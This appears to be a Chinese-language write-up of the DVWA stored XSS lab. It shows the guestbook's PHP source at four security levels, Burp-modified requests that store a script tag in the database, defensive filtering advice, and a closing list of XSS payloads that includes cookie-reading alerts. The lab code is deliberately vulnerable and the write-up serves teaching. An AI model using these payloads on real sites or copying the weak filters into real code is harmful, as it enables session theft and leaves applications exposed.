什么是存储型XSS攻击(Stored XSS Attacks)?
存储型XSS攻击是指注入的恶意脚本永久存储在目标服务器上的攻击。例如数据库、消息论坛、访问者日志、注释字段等。当受害者请求存储的信息时,它会从服务器中检索恶意脚本。存储的XSS有时也称为持久性(Persistent)或I型XSS。
low
看源码low.php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
说明:
- 用了stripslashes()函数处理message参数,删除输入的反斜杠""
name和message提交abcd<>’/"尝试,观察界面返回结果,其中Message处理了反斜杠。
Name: abcd<>’/\"
Message: abcd<>’/"
- 用了mysqli_real_escape_string()函数处理name和message参数,转义输入的SQL语句特殊字符
查看数据库插表结果。单引号,双引号,斜杠之类的都被转义保存到了数据库中。
MariaDB [dvwa]> select * from guestbook;
+------------+-------------------------+--------------+
| comment_id | comment | name |
+------------+-------------------------+--------------+
| 1 | This is a test comment. | test |
| 2 | aaa | aaa |
| 3 | abcd<>’/" | abcd<>’/\" |
+------------+-------------------------+--------------+
3 rows in set (0.00 sec)
除了以上2点之外,只有在index.php中限制name和message2个输入框的长度。
<tr>
<td width="100">Name *</td>
<td><input name="txtName" type="text" size="30" maxlength="10"></td>
</tr>
<tr>
<td width="100">Message *</td>
<td><textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea></td>
</tr>
既然长度有限制,那么直接在输入框中注入代码是不行了,可以用burp攻击。
界面上输入bb,抓到结果如下
txtName=b%27b&mtxMessage=b%27b&btnSign=Sign+Guestbook
修改name参数后提交
txtName=<script>alert('haha')</script>&mtxMessage=b%27b&btnSign=Sign+Guestbook
显示结果
post方法提交,URL中是看不到参数的。不过结果显然是成功了。
MariaDB [dvwa]> select * from guestbook;
+------------+-------------------------+--------------------------------+
| comment_id | comment | name |
+------------+-------------------------+--------------------------------+
| 1 | This is a test comment. | test |
| 2 | aaa | aaa |
| 3 | abcd<>’/" | abcd<>’/\" |
| 4 | abcd<>’/" | abcd<>’/\" |
| 5 |b'b | <script>alert('haha')</script> |
+------------+-------------------------+--------------------------------+
5 rows in set (0.00 sec)
medium
查看源码medium.php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
message增加了3个函数
- strip_tags,去除了字符串中的html标签
- addslashes,预定义字符之前添加反斜杠
- htmlspecialchars,把预定义的字符转换为 HTML 实体
name过滤了< script>标签。
$name = str_replace( '<script>', '', $name );
注入方法依然可以利用burp参照反射型的例子实现。
先尝试按照以下注入,结果应该是不成功的:
txtName=<script>alert('haha')</script>&mtxMessage=<script>alert('haha')</script>&btnSign=Sign+Guestbook
数据库结果,注意观察2个参数被过滤部分,不一样的。可以知道medium.php对message和name用不同方法处理的不同效果。
MariaDB [dvwa]> select * from guestbook;
+------------+-----------------+------------------------+
| comment_id | comment | name |
+------------+-----------------+------------------------+
| 1 | alert(\'haha\') | alert('haha')</script> |
+------------+-----------------+------------------------+
1 rows in set (0.00 sec)
high
查看源码high.php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
和反射型一样,script标签不能再使用,其他照旧。
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
impossible
查看代码impossible.php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
增加了3个防范措施
- Check Anti-CSRF token
- $db->prepare预处理
- $name = htmlspecialchars( $name );
以上3点在sql注入和反射型注入中都解释过了。
存储型XSS和反射型XSS非常类似,只是会保存数据库中。
XSS攻击总结
对付XSS攻击可以采取以下这些方法
1.在表单提交或者url参数传递前,对需要的参数进行过滤
2.过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出
可以利用下面这些函数对出现xss漏洞的参数进行过滤
(1)htmlspecialchars() 函数,用于转义处理在页面上显示的文本。
(2)htmlentities() 函数,用于转义处理在页面上显示的文本。
(3)strip_tags() 函数,过滤掉输入、输出里面的恶意标签。
(4)header() 函数,使用header(“Content-type:application/json”); 用于控制 json 数据的头部,不用于浏览。
(5)urlencode() 函数,用于输出处理字符型参数带入页面链接中。
(6)intval() 函数用于处理数值型参数输出页面中。
(7)自定义函数,在大多情况下,要使用一些常用的 html 标签,以美化页面显示,如留言、小纸条。那么在这样的情况下,要采用白名单的方法使用合法的标签显示,过滤掉非法的字符。
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert (vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src="http://xxx.com/yyy.png" "alert('XSS')">